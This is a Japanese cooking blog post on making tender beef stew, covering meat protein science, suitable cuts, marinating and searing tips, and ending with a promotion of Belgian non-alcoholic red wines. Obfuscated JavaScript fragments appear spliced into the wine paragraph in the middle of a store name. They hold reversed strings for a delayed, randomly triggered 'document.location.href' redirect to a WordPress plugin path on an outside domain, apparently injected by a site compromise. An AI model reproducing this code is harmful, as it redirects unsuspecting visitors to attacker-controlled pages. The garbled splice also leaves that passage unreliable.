赤ワインにピッタリ、ビーフシチュー。お肉をほろほろに煮込む方法はこれだ！
寒い季節に食べたくなるお料理といえば、やっぱり温かい煮込み料理です。
その中でも濃厚な味わいのビーフシチューは、赤ワインやノンアルコール赤ワインとも相性ピッタリ。ワインに合わせて食べたい、冬の煮込み料理No.１ですよね！
でも、なかなかお肉が柔らかく煮えず困ってしまうことが多いのがビーフシチュー。噛み切れないほど固く縮んでしまったり、ガムのように固くなってしまったりという経験があると思います。
今回は、お肉の科学的な特性を理解して、ビーフシチューのお肉を柔らかくほろほろに煮込むために気を付けたい重要ポイントをお教えしますよ！
◇柔らかお肉の調理、成功の秘訣はタンパク質の特徴を知ること
お肉を柔らかく調理するために、まず、お肉の性質をよく知っておく必要があります。私達が食べているお肉は動物の筋肉に当たります。成分は、全体の約70%が水分、約20%がタンパク質、そして残りが脂質や炭水化物、灰分となります。このうち、加熱するとお肉が固くなることに関係するのがタンパク質。お肉に含まれるタンパク質には、大きく分けて次の3つの種類があります。
1. 筋肉の繊維である、筋原繊維タンパク質
2. 筋繊維の間を満たす、筋形質タンパク質
3. 筋繊維を包み込む筋膜や、筋や腱の材料となるコラーゲン
筋肉の構造を見てみると、長い繊維状の 1.の筋原繊維タンパク質が寄り集まっており、その周りが 3.のコラーゲンでできた膜によって包まれています。そして、筋原繊維同士の隙間は、水分と、そこに溶け込む水溶性の 2. 筋形質タンパク質で満たされて筋肉ができ上がっています。
これらのタンパク質が熱によって凝固する温度は、それぞれのタンパク質の種類によって異なります。
1. 筋原繊維タンパク質 45-50℃で凝固
2. 筋形質タンパク質 52-62℃で凝固
3. コラーゲン 約65℃で一旦凝固し、1/3の長さにまで縮む。しかし、80℃を超えてさらに加熱し続けると、コラーゲン分子は熱によってほぐれ、ゼラチン化して柔らかくなる
なので、調理するお肉がどのタンパク質を多く含むかにより、お肉を柔らかく調理するベストの方法は以下のように2つに分かれるのです。
・低い温度でじっくり加熱
1.の筋原繊維タンパク質や2.の筋形質タンパク質を多く含む部位なら、65℃以下の低い温度でじっくり加熱調理し、急激な収縮を避けながら徐々にタンパク質を加熱・凝固させる。お肉を柔らかくローストしたり、ステーキを焼く場合に適した調理方法です。
・高い温度で長時間しっかり煮込む
3.のコラーゲンを多く含む部位は、80℃以上でしっかり長時間加熱しコラーゲンをゼラチン化させると、お肉の繊維がほぐれて食感が柔らかくなる。ビーフシチューのような煮込み料理はこちらの方法を使います。
◇ビーフシチューに適した肉の部位は？
お肉の部位によって、どのタンパク質をどのような割合で含んでいるかは異なりますが、ビーフシチューなどの煮込み料理に特に適しているのは、3.のコラーゲンを多く含む部位です。
特にオススメなのが、すね肉やすじ肉。豊富にコラーゲンを含むため元々の肉質は固いですが、長時間しっかりと煮込むことでコラーゲンが溶け出し柔らかな口当たりになります。
運動量の多いすね肉は、肉自体にしっかりとしたうまみがあり、煮込むほどコクと深みのある味わいが楽しめます。また、コラーゲンの塊のようなすじ肉は、よく煮込むととろけるような口当たりになりますよ。
それ以外にも、独特の濃厚な食感のあるタンや、コラーゲンがたっぷり含まれたテール肉もオススメです。
逆に、煮込みに適さないのはロースやヒレ。筋繊維が多くコラーゲンが少ないため、長時間煮込んでも柔らかくならないばかりか、脂も少ないため煮込むとパサつきやすく、美味しい煮込みになりません。
これらの部位は、ローストやステーキなどで楽しむのが一番です。
◇ビーフシチューをもっとトロトロに美味しくするコツ色々
美味しいビーフシチューを作るには、お肉選び以外にもいくつかコツがあります。順番に見ていきましょう。
１．おろし玉ねぎとお酢で下ごしらえ
長時間煮込んでも、なかなか柔らかくならないビーフシチューのお肉。しかし、下ごしらえをしておくと、まるで高級レストランなみの柔らかさが楽しめます。
使用するのは玉ねぎ、ワイン、お酢。
カットしたお肉をポリ袋に入れ、すりおろした玉ねぎ、赤ワイン、そしてお酢少々を加えてなじませ、数時間おけば下ごしらえは完了です。
実は、玉ねぎにはプロテアーゼというタンパク質を分解する酵素が含まれています。すりおろした玉ねぎをお肉にまぶすことで、お肉の筋繊維を分子レベルで分解し、肉質を柔らかくすることができるのです。
また、赤ワインやお酢に含まれる酸はお肉のphを下げますが、それによりお肉の筋繊維が緩んで保水性が上がります。これによりお肉の口当たりが柔らかくなります。
酵素と酸という2つの力で、内と外からお肉を柔らかくするのがこの下ごしらえ方法のポイントです。
また、赤ワインに含まれるタンニンはお肉の臭みを消してくれるため、お肉の美味しさを更にアップしてくれますよ！
2．焼き目をつける時は低温で
煮込む前に、フライパンでお肉に焼き色を付けることで、お肉のうまみがぎゅっと凝縮し、お肉の存在感があるビーフシチューになります。表面がしっかり茶色く焦げる（メイラード反応）までしっかり焼きますが、いきなり高温でのフライパンにお肉を入れてしまうと、タンパク質の急激な収縮のため口当たりが固くなってしまいます。焼く前にお肉は冷蔵庫から出し、まず常温に戻しましょう。そして、フライパンに入れて弱火で加熱開始。タンパク質が急激に凝固しないよう、50℃未満の温度でまずはじっくり火を通します。ひととおり火が通ったら、最後に高温にして一気に焼き色を付けるとよいでしょう。
3．鍋は寸胴がベスト
焼き目を付けたお肉を野菜やブイヨンとともに加熱して煮込みます。焦げ付かないように弱火で、最低3時間は煮込みましょう。
鍋は縦長のドラムのような形をした寸胴がベスト。ビーフシチューは長時間の加熱が必要ですが、寸胴は水分が蒸発がしにくく、また、熱伝導と保温力に優れているので煮込み料理にピッタリです。
作り方のコツを参考にして、ぜひ美味しいビーフシチューを作ってみて下さいね！
◇ビーフシチューにピッタリ、ノンアルコールワイン
ビーフシチューと一緒に楽しみたいノンアルコールワインとして、Mellow Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreで販売中のベルギーのネオブュル社のノンアルコール赤ワイン2種をご紹介します。
ネオブュル社のノンアルコール商品のリアルな味わいの秘密は、特殊なアルコール除去方法。
ベースとなるワインからアルコールを取り除く際には蒸留を行いますが、通常、アルコールの蒸発温度は78度。しかし、このような高温では、ワインのアロマやフレーバーが熱で変化して、味わいが損なわれてしまいます。
そこで、ネオブリュ社では、真空状態で蒸留ができる特殊な設備を使用。通常よりはるかに低い32℃という低温で、ワインがもつアロマやフレーバーを守りながらアルコールを0.0％まで除去しました。
なので、ノンアルコールにも関わらず、その味わいはまるで本物のワインのよう！
妊娠やご病気でアルコールを避けている方、体質的にアルコールに弱い方はもちろん、ワインは大好きだけど今日はアルコールは避けたいという方まで、皆様の様々なニーズに合わせて楽しんでいただけます。
